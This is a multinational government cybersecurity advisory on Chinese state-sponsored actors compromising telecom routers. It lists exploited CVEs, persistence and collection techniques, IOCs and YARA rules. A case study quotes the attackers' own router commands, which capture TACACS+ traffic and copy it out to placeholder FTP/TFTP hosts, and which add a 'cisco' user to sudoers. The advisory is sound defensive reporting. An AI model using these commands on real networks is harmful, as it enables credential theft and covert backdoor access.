Countering Chinese State-Sponsored Actors Compromise of Networks Worldwide to Feed Global Espionage System

Executive summary

People's Republic of China (PRC) state-sponsored cyber threat actors are targeting networks globally, including, but not limited to, telecommunications, government, transportation, lodging, and military infrastructure networks. While these actors focus on large backbone routers of major telecommunications providers, as well as provider edge (PE) and customer edge (CE) routers, they also leverage compromised devices and trusted connections to pivot into other networks. These actors often modify routers to maintain persistent, long-term access to networks.

This activity partially overlaps with cyber threat actor reporting by the cybersecurity industry—commonly referred to as Salt Typhoon, OPERATOR PANDA, RedMike, UNC5807, and GhostEmperor, among others. The authoring agencies are not adopting a particular commercial naming convention and hereafter refer to those responsible for

the cyber threat activity more generically as “Advanced Persistent Threat (APT) actors” throughout this advisory. This cluster of cyber threat activity has been observed in the United States, Australia, Canada, New Zealand, the United Kingdom, and other areas globally.

This Cybersecurity Advisory (CSA) includes observations from various government and industry investigations where the APT actors targeted internal enterprise environments, as well as systems and networks that deliver services directly to customers. This CSA details the tactics, techniques, and procedures (TTPs) leveraged by these APT actors to facilitate detection and threat hunting, and provides mitigation guidance to reduce the risk from these APT actors and their TTPs.

This CSA is being released by the following authoring and co-sealing agencies:

- United States National Security Agency (NSA)
- United States Cybersecurity and Infrastructure Security Agency (CISA)
- United States Federal Bureau of Investigation (FBI)
- United States Department of Defense Cyber Crime Center (DC3)
- Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
- Canadian Centre for Cyber Security (Cyber Centre)
- Canadian Security Intelligence Service (CSIS)
- New Zealand National Cyber Security Centre (NCSC-NZ)
- United Kingdom National Cyber Security Centre (NCSC-UK)
- Czech Republic National Cyber and Information Security Agency (NÚKIB)[1]
- Finnish Security and Intelligence Service (SUPO)[2]
- Germany Federal Intelligence Service (BND)[3]
- Germany Federal Office for the Protection of the Constitution (BfV)[4]
- Germany Federal Office for Information Security (BSI)[5]
- Italian External Intelligence and Security Agency (AISE)[6]
- Italian Internal Intelligence and Security Agency (AISI)[7]
- Japan National Cybersecurity Office (NCO)[8]
- Japan National Police Agency (NPA)[9]

[1] Národní úřad pro kybernetickou a informační bezpečnost
[2] Suojelupoliisi
[3] Bundesnachrichtendienst
[4] Bundesamt für Verfassungsschutz
[5] Bundesamt für Sicherheit in der Informationstechnik
[6] Agenzia Informazioni e Sicurezza Esterna
[7] Agenzia Informazioni e Sicurezza Interna
[8] 国家サイバー統括室
[9] 警察庁

- Netherlands Defence Intelligence and Security Service (MIVD)[10]
- Netherlands General Intelligence and Security Service (AIVD)[11]
- Polish Military Counterintelligence Service (SKW)[12]
- Polish Foreign Intelligence Agency (AW)[13]
- Spain National Intelligence Centre (CNI)[14]

The authoring agencies strongly urge network defenders to hunt for malicious activity and to apply the mitigations in this CSA to reduce the threat of Chinese state-sponsored and other malicious cyber activity.

Any mitigation or eviction measures listed within are subject to change as new information becomes available and ongoing coordinated operations dictate. Network defenders should ensure any actions taken in response to the CSA are compliant with local laws and regulations within the jurisdictions within which they operate.

[10] Militaire Inlichtingen- en Veiligheidsdienst
[11] Algemene Inlichtingen- en Veiligheidsdienst
[12] Służba Kontrwywiadu Wojskowego
[13] Agencja Wywiadu
[14] Centro Nacional de Inteligencia

Table of Contents

Background

The APT actors have been performing malicious operations globally since at least 2021. These operations have been linked to multiple China-based entities, including at least Sichuan Juxinhe Network Technology Co. Ltd. (四川聚信和网络科技有限公司), Beijing Huanyu Tianqiong Information Technology Co., Ltd. (北京寰宇天穹信息技术有限公司), and Sichuan Zhixin Ruijie Network Technology Co., Ltd. (四川智信锐捷网络科技有限公司). These companies provide cyber-related products and services to China's intelligence services, including multiple units in the People's Liberation Army and Ministry of State Security. The data stolen through this activity against foreign telecommunications and Internet service providers (ISPs), as well as intrusions in the lodging and transportation sectors, ultimately can provide Chinese intelligence services with the capability to identify and track their targets' communications and movements around the world.

For more information on PRC state-sponsored malicious cyber activity, see CISA's People's Republic of China Cyber Threat Overview and Advisories webpage.

For a downloadable list of IOCs, visit:

- AA25-239A STIX XML
- AA25-239A STIX JSON

Cybersecurity Industry Tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this Chinese state-sponsored cyber activity. While not all encompassing, the following are the most notable threat group names related to this activity and commonly used within the cybersecurity community:

- Salt Typhoon,
- OPERATOR PANDA,
- RedMike,
- UNC5807, and
- GhostEmperor.

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring agencies' understanding for all activity related to these groupings.

Technical details

The following sections are a compilation of TTPs the APT actors have used since at least 2021 to target enterprise environments. Particularly notable TTPs include modifying router configurations for lateral movement pivoting between networks and using virtualized containers on network devices to evade detection. The actors continue to use many of the TTPs listed, but expect them to evolve when existing TTPs no longer achieve their goals. Even if no longer used regularly, the actors may still use previous TTPs opportunistically in favorable conditions. The TTP descriptions can also be useful to network defenders for retroactive threat hunting.

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 17 and MITRE ATT&CK for ICS framework, version 17. See the **Appendix A: MITRE ATT&CK Tactics and Techniques** section of this advisory for a table of the APT actors' activity mapped to MITRE ATT&CK tactics and techniques.

Initial access

Investigations associated with these APT actors indicate that they are having considerable success exploiting publicly known common vulnerabilities and exposures (CVEs) and other avoidable weaknesses within compromised infrastructure [T1190]. Exploitation of zero-day vulnerabilities has not been observed to date. The APT actors will likely continue to adapt their tactics as new vulnerabilities are discovered and as targets implement mitigations, and will likely expand their use of existing vulnerabilities. The following list is not exhaustive and the authoring agencies suspect that the APT actors may target other devices (e.g., Fortinet firewalls, Juniper firewalls, Microsoft Exchange, Nokia routers and switches, Sierra Wireless devices, Sonicwall firewalls, etc.).

If not yet patched, defenders should prioritize the following CVEs due to their historical exploitation on exposed network edge devices by these APT actors. Example exploited CVEs, ordered by year, include:

- CVE-2024-21887 - Ivanti Connect Secure and Ivanti Policy Secure web-component command injection vulnerability, commonly chained after CVE-2023-46805 (authentication bypass)
- CVE-2024-3400 - Palo Alto Networks PAN-OS GlobalProtect arbitrary file creation leading to OS command injection. The CVE allows for unauthenticated remote code execution (RCE) on firewalls when GlobalProtect is enabled on specific versions/configurations.

- CVE-2023-20273 - Cisco Internetworking Operating System (IOS) XE software web management user interface post-authentication command injection/privilege escalation (commonly chained with CVE-2023-20198 for initial access to achieve code execution as root) [T1068]
- CVE-2023-20198 - Cisco IOS XE web user interface authentication bypass vulnerability
    - While exploiting CVE-2023-20198, the APT actors used the Web Services Management Agent (WSMA) endpoints `/webui_wsma_Http` or `/webui_wsma_Https` to bypass authentication and create unauthorized administrative accounts. In some cases, the APT actors obfuscated requests by "double encoding" portions of the path, e.g., `/%2577eb%2575i_%2577sma_Http` or `/%2577eb%2575i_%2577sma_Https` [T1027.010]. Observed requests varied in case, so hunting and detection should be case-insensitive and tolerant of over-encoding.
    - After patching this CVE, WSMA endpoints requests are internally proxied, and the system adds a `Proxy-Uri-Source` HTTP header as part of the remediation logic. The presence of `Proxy-Uri-Source` header in traffic to `/webui_wsma_*` indicates a patched device handling the request, not exploitation. This can help distinguish between vulnerable and remediated systems when analyzing logs or captures.
- CVE-2018-0171 - Cisco IOS and IOS XE smart install remote code execution vulnerability

The APT actors leverage infrastructure, such as virtual private servers (VPSs) [T1583.003] and compromised intermediate routers [T1584.008], that have not been attributable to a publicly known botnet or obfuscation network infrastructure to target telecommunications and network service providers, including ISPs [T1090].

The APT actors may target edge devices regardless of who owns a particular device. Devices owned by entities who do not align with the actors' core targets of interest still present opportunities for use in attack pathways into targets of interest. The actors leverage compromised devices and trusted connections or private interconnections (e.g., provider-to-provider or provider-to-customer links) to pivot into other networks [T1199]. In some instances, the actors modify routing and enable traffic mirroring (switch port analyzer (SPAN)/remote SPAN (RSPAN)/encapsulated remote SPAN (ERSPAN) where available) on compromised network devices and configure Generic Routing Encapsulation (GRE)/IPsec tunnels and static routes to achieve the same goal

[T1095]. Additionally, these APT actors often simultaneously exploit large numbers of vulnerable, Internet-exposed devices across many IP addresses and may revisit individual systems for follow-on operations.

Initial access vectors remain a critical information gap for parties working to understand the scope, scale, and impact of the actors' malicious activity. The authoring agencies encourage organizations to provide compromise details to appropriate authorities (see **Contact information**) to continue improving all parties' understanding and responses.

Persistence

To maintain persistent access to target networks, the APT actors use a variety of techniques. Notably, a number of these techniques can obfuscate the actors' source IP address in system logs, as their actions may be recorded as originating from local IP addresses [T1027]. Specific APT actions include:

- Modifying Access Control Lists (ACLs) to add IP addresses. This alteration allows the actors to bypass security policies and maintain ongoing access by explicitly permitting traffic from a threat actor-controlled IP address [T1562.004].
    - The APT actors often named their ACLs "access-list 20". When 20 was already used, the actors commonly used 50 or 10.
- Opening standard and non-standard ports, which can open and expose a variety of different services (e.g., Secure Shell [SSH], Secure File Transfer Protocol [SFTP], Remote Desktop Protocol [RDP], File Transfer Protocol [FTP], HTTP, HTTPS) [T1071]. This strategy supplies multiple avenues for remote access and data exfiltration. Additionally, utilizing non-standard ports can help the APT actors evade detection by security monitoring tools that focus on standard port activity [T1571].
    - The APT actors have been enabling SSH servers and opening external-facing ports on network devices to maintain encrypted remote access [T1021.004]. In some cases, the SSH services were established on high, non-default Transmission Control Protocol (TCP) ports using the port numbering scheme of `22x22` or `xxx22`, though port patterns may vary across intrusions. The actors may add keys to existing SSH services to regain entry into network devices [T1098.004].
    - The APT actors enable or abuse built-in HTTP/HTTPS management servers and sometimes reconfigure them to non-default high ports. **Note:** HTTP servers have been observed using the port numbering scheme of `18xxx`.

    - Enabling HTTP/HTTPS servers on Cisco devices affected by CVE-2023-20198. If the web UI feature is enabled on Cisco IOS XE Software, this vulnerability provides an entry opportunity for the APT actors.
- Following compromise of a router, the following commands and activities have been observed on compromised devices [T1059.008]:
    - Executing commands via SNMP [T1569].
    - SSH activity from remote or local IP addresses.
    - Web interface panel (POST) requests.
    - When present, using service or automation credentials (e.g., those used by configuration-archival systems such as RANCID) to enumerate and access other networking devices.
    - Executing Tcl scripts (e.g., `TCLproxy.tcl` and `map.tcl`) on Cisco IOS devices where `tclsh` was available.
- Depending on the configuration of the Simple Network Management Protocol (SNMP) on the compromised network device, the APT actors enumerate and alter the configurations for other devices in the same community group, when possible [T1021]. **Note**: Properly configured SNMPv3 is considerably more secure than previous versions.
    - Utilizing SNMPwalk (SNMP GET/WALK) to enumerate devices from APT actor-controlled hosts. Where configuration changes were observed, they were issued as SNMP SET requests to writable objects from those hosts [T1016].
- Creating tunnels over protocols, such as Generic Routing Encapsulation (GRE), multipoint GRE (mGRE), or IPsec, on network devices, presumably based on what would be expected in the environment [T1572].
    - These tunnels allow for the encapsulation of multiple network layer protocols over a single tunnel, which can create persistent and covert channels for data transmission to blend in with normal network traffic.
    - Some of these actions may obscure the APT actors' source IP address in logs due to being logged as a local IP.
- Running commands in an on-box Linux container on supported Cisco networking devices to stage tools, process data locally, and move laterally within the environment. This often allows the APT actors to conduct malicious activities

undetected because activities and data within the container are not monitored closely. [T1610] [T1588.002] [T1588.005] [T1059.006].

  - Within Guest Shell, running Python (such as siet.py to exploit Cisco Smart Install) and native Linux tooling, installing packages (e.g., via `pip`/`yum` where available), parsing and staging locally collected artifacts (e.g., configurations, packet captures) on device storage [T1560]. On NX-OS devices specifically, using `dohost` to script host-level CLI actions for reconnaissance and persistence. For Cisco IOS XE, Guest Shell is a Linux container (LXC) managed by IOx that is enabled with `guestshell enable` and accessed with `guestshell run bash`. By default, processes inside Guest Shell egress via the management virtual routing and forwarding (VRF) instance. On platforms without a dedicated management port, connectivity can be provided with a `VirtualPortGroup` interface. Guest Shell can execute Python and other 64-bit Linux applications and can read/write device-accessible storage (e.g., flash) as configured. [T1609] [T1543.005]
  - For Cisco NX-OS, Guest Shell is an LXC environment entered with `run guestshell`. It has direct access to `bootflash:` and can invoke host NX-OS CLI via the `dohost` utility. Networking uses the device's default VRF by default. Operators (or malware) can run commands in other VRFs using `chvrf`. Systemd-managed services are typically long-running components inside Guest Shell.
  - Using `guestshell disable` and `guestshell destroy` commands to deactivate and uninstall Guest Shell container and return all resources to the system [T1070.009].
- Leveraging open source multi-hop pivoting tools, such as STOWAWAY, to build chained relays for command and control (C2) and operator access, including interactive remote shells, file upload and download, SOCKS5/HTTP proxying, and local/remote port mapping with support for forward and reverse connections over encrypted node-to-node links [T1090.003].

Lateral movement & collection

Following initial access, the APT actors target protocols and infrastructure involved in authentication—such as Terminal Access Controller Access Control System Plus (TACACS+)—to facilitate lateral movement across network devices, often through SNMP enumeration and SSH. From these devices, the APT actors passively collect

packet capture (PCAP) from specific ISP customer networks [T1040] [T1005]. To further support discovery and lateral movement, the APT actors may target:

- Authentication Protocols including TACACS+ and Remote Authentication Dial-In User Service (RADIUS)
- Managed Information Base (MIB) [T1602.001]
- Router interfaces
- Resource Reservation Protocol (RSVP) sessions
- Border Gateway Protocol (BGP) routes
- Installed software
- Configuration files [T1590.004] [T1602.002]
    - This is achieved either from existing sources in the network (e.g., output of provider scripts) or through active survey of devices and Trivial File Transfer Protocol (TFTP), to include Multiprotocol Label Switching (MPLS) configuration information.
- In-transit network traffic using native capabilities to capture or mirror traffic via the SPAN, RSPAN, or ERSPAN capabilities available on many router models.
- Provider-held data, such as:
    - Subscriber information
    - User content
    - Customer records and metadata
    - Network diagrams, inventories, device configurations, and vendor lists
    - Passwords

Capturing network traffic containing credentials via compromised routers is a common method for further enabling lateral movement [T1040]. This typically takes the form of:

- Leveraging native PCAP functionalities (e.g., Cisco's Embedded Packet Capture) on routers to collect RADIUS or TACACS+ authentication traffic, which may contain credentials transmitted in cleartext or weakly protected forms.
    - PCAPs have been observed containing naming schemes such as `mycap.pcap`, `tac.pcap`, `1.pcap`, or similar variations.
- Modifying a router's TACACS+ server configuration to point to an APT actor-controlled IP address [T1556]. These actors may use this capability to capture authentication attempts from network administrators or other devices. They may also adjust Authentication, Authorization, and Accounting (AAA) configurations, forcing

devices to use less secure authentication methods or send accounting information to their infrastructure.

The APT actors collect traffic at Layer 2 or 3 (depending on the protocol used), largely from Cisco IOS devices; however, targeting of other device types is also likely. Based on analysis, the APT actors hold interest in making configuration and routing changes to the devices after compromising the routers. While some actions are specific to Cisco devices, the actors are capable of targeting devices from other vendors and could utilize similar functionality. The APT actors perform several of the modifications or techniques below to facilitate follow-on actions.

- Creating accounts/users and assigning privileges to those accounts, often via modifying router configurations [T1136.001].
    - Brute forcing and re-using credentials to access Cisco devices. If a router configuration is collected during initial exploitation and contains a weak hashed Cisco Type 5 (MD5) or 7 (legacy, weak reversible encoding) password [T1003] [T1110.002]. Weak credentials, such as “cisco” as the username and password, are routinely exploited through these techniques.
- Scanning for open ports and services and mirroring (SPAN/RSPAN sessions), allowing traffic monitoring from multiple interfaces [T1595].
- Running commands on the router via SNMP, SSH, and HTTP GET or POST requests. These requests typically target privileged execution paths, such as `/level/15/exec/-/*`, and may include instructions to display configuration files, access BGP routes, manage VRF instances, or clear system logs [T1082].
    - Many compromised devices use well known SNMP community strings, including “public” and “private”.
- Configuring PCAP capabilities to collect network traffic.
- Configuring tunnels.
- Using monitoring tools present in the environment to monitor a device’s (commonly a router’s) configuration changes.
- Updating routing tables to route traffic to actor-controlled infrastructure.
- Using several techniques to avoid detection of their activity, including:
    - Deleting and/or clearing logs, possibly in tandem with reverting or otherwise modifying stored configuration files to avoid leaving traces of the modifications [T1070].

- Disabling logging and/or disabling sending logs to central servers.
- Stopping/starting event logging on network devices.
- Configuring a Cisco device to run a Guest Shell container to evade detection from collecting artifacts, data, or PCAP [T1610].

Exfiltration

A key concern with exfiltration is the APT actors' abuse of peering connections (i.e., a direct interconnection between networks that allows traffic exchange without going through an intermediary) [T1599]. Exfiltration may be facilitated due to a lack of policy restraints or system configurations limiting the types of data received by peered ISPs.

Analysis indicates that the APT actors leverage separate (potentially multiple) command and control channels for exfiltration to conceal their data theft within the noise of high-traffic nodes, such as proxies and Network Address Translation (NAT) pools. The APT actors often use tunnels, such IPsec and GRE, to conduct C2 and exfiltration activities [T1048.003].

Case study

This section details techniques employed by the APT actors, as well as indicators received from analysis to detect this activity. The APT actors were stopped before further actions could be taken on the compromised network.

Collecting native PCAP

The APT actors collected PCAPs using native tooling on the compromised system, with the primary objective likely being to capture TACACS+ traffic over TCP port 49. TACACS+ packet bodies can be decrypted if the encryption key is known. In at least one case, the device configuration stored the TACACS+ shared secret using Cisco Type 7 reversible obfuscated encoding. Recovering that secret from the configuration would enable offline decryption of captured TACACS+ payloads. TACACS+ traffic is used for authentication, often for administration of network equipment and including highly privileged network administrators accounts and credentials, likely enabling the actors to compromise additional accounts and perform lateral movement.

The commands listed in **Table 1** were observed on a Cisco IOS XE-based host to aid PCAP exfiltration.

Table 1: Commands to collect PCAP

Command	Description
`monitor capture mycap interface <interface-name> both`	Set up a packet capture named 'mycap'
`monitor capture mycap match ipv4 protocol tcp any any eq 49`	Target port 49 on the above interface - TACACS+
`monitor capture mycap buffer size 100`	
`monitor capture mycap start`	Start the capture
`show monitor capture mycap buffer brief`	Check status of capture
`monitor capture mycap export bootflash:tac.pcap`	Export PCAP to file, staging for exfiltration
`copy bootflash:tac.pcap ftp://<domain/service>:*@<IP>`	Exfiltration
`copy bootflash:tac.pcap tftp://<IP>/tac.pcap`	

Host-level indicators

If console logging or visibility of remote FTP/TFTP from a network appliance are available, the following host-level indicators may assist with detecting activity:

```
Capture name: 'mycap'
Capture rule: 'match ipv4 protocol tcp any any eq 49'
Exported pcap filename: 'tac.pcap'

tftp remote filename: 'tac.pcap'
tftp remote IP: [remote IP]
```

Enabling SSH access to the underlying Linux host on IOS XR

Cisco IOS XR (64-bit) is a Linux-based network operating system built on a Yocto-based Wind River Linux distribution. IOS XR is typically administered via the IOS XR CLI over SSH on port TCP/22 or via console.

The built-in `sshd_operns` service exposes an additional SSH endpoint on the host Linux. When enabled, it listens on TCP/57722 and provides direct shell access to the host OS. Root logins are not permitted to this service, as only non-root accounts can authenticate.

On IOS XR, `sshd_operns` is disabled by default and must be explicitly started (e.g., service sshd_operns start). Persistence across reboots requires enabling at `init` (`chkconfig`) or equivalent.

In observed intrusions, the APT actors enabled `sshd_operns`, created a local user, and granted it `sudo` privileges (e.g., by editing `/etc/sudoers` or adding a file under `/etc/sudoers.d/`) to obtain root on the host OS after logging in via TCP/57722.

The commands listed in **Table 2** were executed from the host Linux bash shell as root.

Table 2: Commands to add user to sudoers

Command	Description
`service sshd_operns start`	Starting the sshd_operns service
`useradd cisco` `password cisco`	Adding a new user
`sudo vi /etc/sudoers`	Adding the new user to sudoers
`chmod 4755 /usr/bin/sudo`	As 4755 is the default permissions for sudo, it is unclear why the actors executed this command

Threat hunting guidance

The authoring agencies encourage network defenders of critical infrastructure organizations, especially telecommunications organizations, to perform threat hunting, and, when appropriate, incident response activities. If malicious activity is suspected or confirmed, organizations should consider all mandatory reporting requirements to relevant agencies and regulators under applicable laws and regulations, and any additional voluntary reporting to appropriate agencies, such as cybersecurity or law enforcement agencies who can provide incident response guidance and assistance with mitigation. See the **Contact information** section for additional reporting information.

The malicious activity described in this advisory often involves persistent, long-term access to networks where the APT actors maintain several methods of access. Network defenders should exercise caution when sequencing defensive measures to maximize the chance of achieving full eviction, while remaining compliant with applicable laws, regulations, and guidance on incident response and data breach notifications in their jurisdictions. Where possible, gaining a full understanding of the APT actors' extent of access into networks followed by simultaneous measures to remove them may be necessary to achieve a complete and lasting eviction. Partial response actions may alert the actors to an ongoing investigation and jeopardize the ability to conduct full eviction. Incident response on one network may also result in the APT actors taking measures to

conceal and maintain their access on additional compromised networks, and potentially disrupt broader investigative and operational frameworks already in progress.

The APT actors often take steps to protect their established access, such as compromising mail servers or administrator devices/accounts to monitor for signs that their activity has been detected. Organizations should take steps to protect the details of their threat hunting and incident response from APT actor monitoring activities.

The authoring agencies strongly encourage organizations to conduct the following actions for threat hunting:

Monitor configurations changes

- Pull all configurations for running networking equipment and check for differences with latest authorized versions.
    - Review remote access configurations for proper application of ACL and transport protocols. Review ACLs for any unauthorized modifications.
    - If SNMP is being used, ensure networking equipment is configured to use SNMPv3 with the appropriate authentication and privacy configurations set, as defined in the User-based Security Model (USM) and the View-based Access Control Model (VACM).
    - Verify the authenticity of any configured local accounts and their permission levels.
- Check all routing tables to ensure that all routes are authorized and expected.
- Verify that any PCAP commands configured on networking equipment are authorized.

Monitor virtualized containers

- If networking equipment has the capability to run virtualized containers, ensure that all running virtualized containers are expected and authorized.
- For devices that support Cisco Guest Shell (IOS XE and NX-OS), do not rely on device syslog alone to detect actor activity. Use a combination of device syslog, AAA command accounting, container (Guest Shell) logs, and off-box flow/telemetry.
- Capture lifecycle and CLI activity with AAA accounting (TACACS+/RADIUS) for configuration/exec commands so that enable/disable and entry actions are recorded. For IOS XE, hunt for `guestshell enable`, `guestshell run bash`, and `guestshell disable`. On NX-OS, hunt for `guestshell enable`, `run guestshell`, and `guestshell destroy`. Alert on unexpected use of `chvrf` (running commands under a different VRF) and, on NX-OS, use of `dohost` (container invoking host CLI).

Monitor network services and tunnels

- Monitor for management services running on non-standard ports (SSH, FTP, etc.).
- Hunt for actor-favored protocol patterns:
    - SSH on high non-default ports with 22x22/xxx22 numbering patterns from non-admin source IPs.
    - HTTPS/Web UI listeners on non-default high ports (18xxx) reachable from outside the management VRF.
    - TCP/57722 (IOS XR `sshd_operns`) reachability or flows.
        - Hunt for TCP/57722 listeners on IOS XR platforms (the host Linux `sshd_operns` service). Collect flow/telemetry (NetFlow/IPFIX) from the management VRF. Any inbound TCP/57722 should be treated as high-risk if unexpected.
    - TACACS+ (TCP/49) flows to non-approved IPs or any TACACS+ traffic leaving the management VRF. Correlate with device configuration to detect redirection of TACACS+ servers to APT actor-controlled infrastructure.
    - FTP/TFTP flows originating from network devices to unapproved destinations, especially when preceded by on-box PCAP collection activity.
- Audit any tunnel that transits a security boundary, such as peering points between providers, to ensure it can be accounted for by network administrators. In particular, examine:
    - Unexplained or unexpected tunnels between Autonomous System Numbers (ASNs).
    - Unauthorized use of file transfer protocols, such as FTP and TFTP.
        - Monitor network traffic for abnormal volumes of files transfers to internal FTP servers, which the APT actors may use as staging areas prior to data exfiltration.
    - Extensive SSH activity against routers, followed by the establishment of both an incoming tunnel and outgoing tunnel—each of which may leverage different protocols.

Monitor firmware and software integrity

- Perform hash verification on firmware and compare values against the vendor's database to detect unauthorized modification to the firmware. Ensure that the firmware version is as expected.

- Compare hashes of images both on disk and in memory against known-good values. Reference the Network Device Integrity (NDI) Methodology or Network Device Integrity (NDI) on Cisco IOS Devices for more information.
- Use the product's run-time memory validation or integrity verification tool to identify any changes to the run-time firmware image.
- Where supported by the platform, enable image and configuration integrity features, such as signed image enforcement and secure configuration checkpoints. Alert on any boot-time or run-time verification failure.
- Check any available file directories that may exist (flash, non-volatile random-access memory [NVRAM], system, etc.) for non-standard files.

Monitor logs

- Review logs forwarded from network devices for indications of potential malicious behavior, such as:
    - Evidence of clearing locally stored logs,
    - Disabling log creation or log forwarding,
    - Starting a PCAP recording process using available functions,
    - Allowing remote access via non-standard methods or to new locations, and
    - Changes to configuration of devices via non-standard methods or from unexpected locations.
- Alert on creation/start of any on-box packet capture (e.g., `monitor capture ... start`, Embedded Packet Capture) or SPAN/RSPAN/ERSPAN session definitions, especially those matching TACACS+ (TCP/49) or RADIUS.
- Inventory and continuously watch `monitor session ...` (SPAN/ERSPAN) and PCAP state. Naming patterns include `mycap` and output filenames like mycap.pcap, `tac.pcap`, and `1.pcap`.
- Where supported, deploy embedded event triggers (e.g., EEM on IOS XE/NX-OS) to syslog any invocation of packet-capture or `span/erspan` configuration commands, capturing the invoking username and source.
- Audit for non-root local accounts granted sudo on XR host Linux (e.g., via `/etc/sudoers` or `/etc/sudoers.d/`). Where supported, ensure the host operating system (OS) `sshd_operns` service is disabled and not listening. Validate at each reboot and device upgrade.

- Alert on config or telemetry indicating new XR host OS services, changes to systemd service states, or unexpected privilege escalations on the host OS.
- Analyze internal FTP Server logs for any logins from unexpected sources.
- Monitor network traffic for logons from one router to another router, as this should not be typical of normal router administration processes.

If unauthorized activities are discovered, coordinate containment sequencing before disabling to avoid tipping active APT operators. Capture live artifacts (process lists, bound sockets, on-box files), then eradicate.

See the **Contact information** section of this advisory for response actions that should be taken if malicious activity is confirmed.

Indicators of compromise

IP-based indicators

The following IP indicators were associated with the APT actors' activity from August 2021 to June 2025. **Disclaimer**: Several of these observed IP addresses were first observed as early as August 2021 and may no longer be in use by the APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 3: APT-associated IP-based Indicators, August 2021-June 2025

1.222.84[.]29	167.88.173[.]252	23.227.202[.]253	45.61.151[.]12
103.169.91[.]231	167.88.173[.]58	37.120.239[.]52	45.61.154[.]130
103.199.17[.]238	167.88.175[.]175	38.71.99[.]145	45.61.159[.]25
103.253.40[.]199	167.88.175[.]231	43.254.132[.]118	45.61.165[.]157
103.7.58[.]162	172.86.101[.]123	45.125.64[.]195	5.181.132[.]95
104.194.129[.]137	172.86.102[.]83	45.125.67[.]144	59.148.233[.]250
104.194.147[.]15	172.86.106[.]15	45.125.67[.]226	61.19.148[.]66
104.194.150[.]26	172.86.106[.]234	45.146.120[.]210	63.141.234[.]109
104.194.153[.]181	172.86.106[.]39	45.146.120[.]213	63.245.1[.]34
104.194.154[.]150	172.86.108[.]11	45.59.118[.]136	74.48.78[.]66
104.194.154[.]222	172.86.124[.]235	45.59.120[.]171	74.48.78[.]116
107.189.15[.]206	172.86.65[.]145	45.61.128[.]29	74.48.84[.]119
14.143.247[.]202	172.86.70[.]73	45.61.132[.]125	85.195.89[.]94
142.171.227[.]16	172.86.80[.]15	45.61.133[.]157	89.117.1[.]147
144.172.76[.]213	190.131.194[.]90	45.61.133[.]31	89.117.2[.]39
144.172.79[.]4	193.239.86[.]132	45.61.133[.]61	89.41.26[.]142
146.70.24[.]144	193.239.86[.]146	45.61.133[.]77	91.231.186[.]227

146.70.79[.]68	193.43.104[.]185	45.61.133[.]79	91.245.253[.]99
146.70.79[.]78	193.56.255[.]209	45.61.134[.]134	2001:41d0:700:65dc::f656[:]929f
146.70.79[.]81	193.56.255[.]210	45.61.134[.]22	
167.88.164[.]166	212.236.17[.]237	45.61.134[.]223	2a10:1fc0:7::f19c[:]39b3
167.88.172[.]70	23.227.196[.]22	45.61.149[.]200	
167.88.173[.]158	23.227.199[.]77	45.61.149[.]62	

Custom SFTP client

The APT actors also use a custom SFTP client, which is a Linux binary written in Golang, to transfer encrypted archives from one location to another.

The following SFTP client binaries in **Table 4** through **Table 7** are similar in that they are used to transfer files from a compromised network to staging hosts where the files are prepared for exfiltration. However, `cmd1` has the additional capability of collecting network packet captures on the compromised network. **Note:** The `cmd3` and `cmd1` clients were likely written by the same developer since they have similar build path strings and code structure.

Table 4: cmd3 SFTP client

File Name	`cmd3`
MD5 Hash	`eba9ae70d1b22de67b0eba160a6762d8`
SHA 256 Hash	`8b448f47e36909f3a921b4ff803cf3a61985d8a10f0fe594b405b92ed0fc21f1`
File Size (bytes)	`3506176`
File Type	`ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=rHFK_GWSIG3fShYR02ys/Hou3WF-dO9MYtI232CYr/D3n2Irn5doNndtloYkEi/r3IcebaH3y02cYer7tm0 stripped`
Command Line Usage	`./cmd3 <encrypted_configuration_string>`
Version String	`v1.0`
Build Path String	`C:/work/sync/cmd/cmd3/main.go`

Table 5: cmd1 SFTP client

File Name	`cmd1`
MD5 Hash	`33e692f435d6cf3c637ba54836c63373`
SHA 256 Hash	`f2bbba1ea0f34b262f158ff31e00d39d89bbc471d04e8fca60a034cabe18e4f4`
File Size (bytes)	`3358720`

File Type	ELF 64-bit LSB executable x86-64 version 1 (SYSV) statically linked Go BuildID=N3lepXdViXHdPCh5amSa/LhM5susdTarcmIQEMqku/eplvxiWNUFNeKXjT-6sd/R-eCtbFZFNozRZqEuwZY stripped
Command Line Usage	./cmd1 <encrypted_configuration_string>
Version String	V20240816
Build Path String	C:/work/sync_v1/cmd/cmd1/main.go

Cmd1 SFTP client Yara rule

```
rule SALT_TYPHOON_CMD1_SFTP_CLIENT {
    meta:
    description = "Detects the Salt Typhoon Cmd1 SFTP client. Rule is meant
for threat hunting."

    strings:
        $s1 = "monitor capture CAP"
        $s2 = "export ftp://%s:%s@%s%s"
        $s3 = "main.CapExport"
        $s4 = "main.SftpDownload"
        $s5 = ".(*SSHClient).CommandShell"
        $aes = "aes.decryptBlockGo"
        $buildpath = "C:/work/sync_v1/cmd/cmd1/main.go"

    condition:
        (uint32(0) == 0x464c457f or (uint16(0) == 0x5A4D and
        uint32(uint32(0x3C)) == 0x00004550) or ((uint32(0) == 0xcafebabe)
        or (uint32(0) == 0xfeedface) or (uint32(0) == 0xfeedfacf)
        or (uint32(0) == 0xbebafeca) or (uint32(0) == 0xcefaedfe)
        or (uint32(0) == 0xcffaedfe)))
        and 5 of them
}
```

Table 6: new2 SFTP client

File Name	new2
SHA 256 Hash	da692ea0b7f24e31696f8b4fe8a130dbbe3c7c15cea6bde24cccc1fb0a73ae9e
File Type	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=294d1f19a085a730da19a6c55788ec08c2187039, stripped

New2 SFTP client Yara rule

```
rule SALT_TYPHOON_NEW2_SFTP_CLIENT {
    meta:
        description = "Detects the Salt Typhoon New2 SFTP client. Rule is
meant for threat hunting."
```

```
    strings:
        $set_1_1 = "invoke_shell"
        $set_1_2 = "execute_commands"
        $set_1_3 = "cmd_file"
        $set_1_4 = "stop_event"
        $set_1_5 = "decrypt_message"
        $set_2_1 = "COMMANDS_FILE"
        $set_2_2 = "RUN_TIME"
